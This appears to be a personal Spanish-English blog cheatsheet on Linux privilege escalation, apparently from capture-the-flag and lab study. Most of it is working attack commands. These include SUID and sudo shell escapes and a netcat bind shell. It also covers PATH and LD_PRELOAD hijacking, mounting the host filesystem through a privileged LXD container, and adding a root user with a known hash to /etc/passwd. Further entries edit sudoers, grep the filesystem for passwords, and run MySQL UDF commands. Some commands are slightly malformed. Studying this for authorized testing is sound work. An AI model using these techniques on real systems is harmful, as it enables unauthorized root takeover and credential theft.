← Blog

Escalación de Privilegios en Linux

Técnicas de escalación de privilegios en Linux: SUID, cron, PATH hijacking, capabilities, LXD y más.

Tabla cheatsheet escalacion de privilegios en linux

Command Description
ssh htb-student@<target IP> SSH to lab target
ps aux | grep root See processes running as root
ps au See logged in users
ls /home View user home directories
ls -l ~/.ssh Check for SSH keys for current user
history Check the current user's Bash history
sudo -l Can the user run anything as another user?
ls -la /etc/cron.daily Check for daily Cron jobs
lsblk Check for unmounted file systems/drives
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null Find world-writeable directories
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null Find world-writeable files
uname -a Check the Kernel versiion
cat /etc/lsb-release Check the OS version
gcc kernel_expoit.c -o kernel_expoit Compile an exploit written in C
screen -v Check the installed version of Screen
./pspy64 -pf -i 1000 View running processes with pspy
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null Find binaries with the SUID bit set
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null Find binaries with the SETGID bit set
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root Priv esc with tcpdump
echo $PATH Check the current user's PATH variable contents
PATH=.:${PATH} Add a . to the beginning of the current user's PATH
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null Search for config files
ldd /bin/ls View the shared objects required by a binary
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart Escalate privileges using LD_PRELOAD
readelf -d payroll | grep PATH Check the RUNPATH of a binary
gcc src.c -fPIC -shared -o /development/libshared.so Compiled a shared libary
lxd init Start the LXD initialization process
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine Import a local image
lxc init alpine r00t -c security.privileged=true Start a privileged LXD container
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true Mount the host file system in a container
lxc start r00t Start the container
showmount -e 10.129.2.12 Show the NFS export list
sudo mount -t nfs 10.129.2.12:/tmp /mnt Mount an NFS share locally
tmux -S /shareds new -s debugsess Created a shared tmux session socket
./lynis audit system Perform a system audit with Lynis

Escalacion de privilegios

tipos de escalada

  1. vertical : permisos root
  2. horizontal : mismos permisos

enumeracion

Output de LinEnum

  • Kernel : indica que puede haber un exploit para el kernel
  • SUID files
  • Crontab contents
  • Can we read or write sensitive files
metodo 1 :

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Tu maquina

**python3 -m http.server 8000**

Maquina objetivo

wget http://IPTun0:Puerto/archivo
chmod +x archivo
metodo 2 :

en caso de no poder descargarlo:

  1. crea un archivo .sh
  2. pega el raw de Lin Enum
  3. guardalo y darle permisos con chmod +x nombre

creacion de nuevo usuario

formato de /etc/passwd

  • cada linea representa un usuario
  • cada linea tiene informacion separada e ":"
  • con 7 registros
  1. Username: It is used when user logs in. It should be between 1 and 32 characters in length.

  2. Password: An x character indicates that encrypted password is stored in /etc/shadow file. Please note that you need to use the passwd command to compute the hash of a password typed at the CLI or to store/update the hash of the password in /etc/shadow file, in this case, the password hash is stored as an "x".

  3. User ID (UID): Each user must be assigned a user ID (UID). UID 0 (zero) is reserved for root and UIDs 1-99 are reserved for other predefined accounts. Further UID 100-999 are reserved by system for administrative and system accounts/groups.

  4. Group ID (GID): The primary group ID (stored in /etc/group file)

  5. User ID Info: The comment field. It allow you to add extra information about the users such as user's full name, phone number etc. This field use by finger command.

  6. Home directory: The absolute path to the directory the user will be in when they log in. If this directory does not exists then users directory becomes /

  7. Command/shell: The absolute path of a command or shell (/bin/bash). Typically, this is a shell. Please note that it does not have to be a shell.

agregar nuevo usuario
  • conociendo el formato de passwd podemos agregar un usuario nuevo (solo si tenemos permisos para editar el archivo) Ejemplo:
  1. we first need to create a compliant password hash to add! We do this by using the command: **"openssl passwd -1 -salt [salt] [password]"** What is the hash created by using this command with the salt, "new" and the password "123"? : $1$new$p7ptkEKU1HnaHpRtzNizS1


agregamos a /etc/passwd:
new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

binarios mal configurados

  • sudo -l
  • GTFO bins Ejemplo vi con permisos sudo en sudo -l :
sudo vi
:sh!

Exploiting PATH Variable


# has :echo "[whatever command we want to run]" > [name of the executable we're imitating]
echo "/bin/bash" > ls  
chmod +x ls
export PATH=/tmp:$PATH
# ahora al ejecutar el script ./script (el cual en este caso hace una llamada a ls) nos entregara una shell

shell simple a tty completa

Link: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

echo $TERM = obtener el TERM de tu maquina stty -a = obtener filas y columnas de tty de tu maquina

# In reverse shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# opcional : puedes usar otra terminal
Ctrl-Z  

# In Kali
stty size
stty raw -echo; fg

# opcional : en caso de que hayas usado otra terminal
#Seguidamente luego de lo anterior asegurate de presionar enter

# In reverse shell
#  reset  (opcional no lo he probado)
#  export SHELL=bash   (opcional no lo he probado)

stty rows <NUMERO_OBTENIDO> columns <NUMERO_OBTENIDO>
export TERM=xterm-256color

# presiona CTRL C y comprueba que no se quita tu shell
^C

Linux privilege escalation

Spawn Interactive Shell and set env

python -c 'import pty;pty.spawn("/bin/bash");'
ctrl z
echo $TERM
stty -a
stty raw -echo
fg

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
export TERM=xterm256-color
export SHELL=bash

stty rows <> colums <>

Restricted bash

perl -e 'exec "/bin/sh";'
/bin/sh -i
exec "/bin/sh";
echo os.system('/bin/bash')
/bin/sh -i
ssh user@ipncip nc localip 4444 -e /bin/sh
export TERM=linux

Check environment

Check any restricitions on any folders
mount -l >> any no exec or no suid?

Check any unmounted drives
cat /etc/fstab

SUID

find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID < full search
for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin < quicker

-find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

find / perm /u=s -user "User name that you are looking for" 2>/dev/null

Writable file and nobody files

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files
find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

Writable by current user

find / perm /u=w -user whoami 2>/dev/null
find / -perm /u+w,g+w -f -user whoami 2>/dev/null
find / -perm /u+w -user whoami 2>/dev/nul

Any script files that we can modify?

find / -writable -type f -name "*.py" 2>/dev/null #find all python file that can be write by us

ls -aRl / | awk '1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl / | awk '1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl / | awk '1 ~ /^.....w/' 2>/dev/null # Group ls -aRl / | awk '1 ~ /w.$/' 2>/dev/null # Other

find / -readable -type f 2>/dev/null # Anyone
find / -readable -type f -maxdepth 1 2>/dev/null # Anyone

Any service running by root?

ps aux|grep "root"

/usr/bin/journalctl (Which is normally not readable by a user) << cron job?

Find password

grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always

Exploit Time

SUID

Is suid bit set on these applications?

Nmap
nmap -V <Nmap version 2.02 - 5.21 had an interactive mode
nmap --interactive
nmap> !sh

Vim
Modify system file, e.g. passwd?

vim.tiny  
- Press ESC key  
:set shell=/bin/sh  
:shell  

find
touch pentestlab
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;

Bash
bash -p

More

Less
less /etc/passwd
!/bin/sh

Nano
Can you modify system file?
Modify /etc/suoders
<user> ALL=(ALL) NOPASSWD:ALL

cp
Use cp to overwrite passwd with a new password

Is there a custom suid application?

How can this application be run?
Can be modify the path variable so that it will execute something else

NFS priv esc

https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

Linux capability

find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null getcap -r /

google that capability on how it can help us get root

Mysql run by root

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library https://www.exploit-db.com/exploits/1518/

You can also try select sys_exec('echo test>/tmp/test.txt'); select sys_eval('echo test>/tmp/test.txt');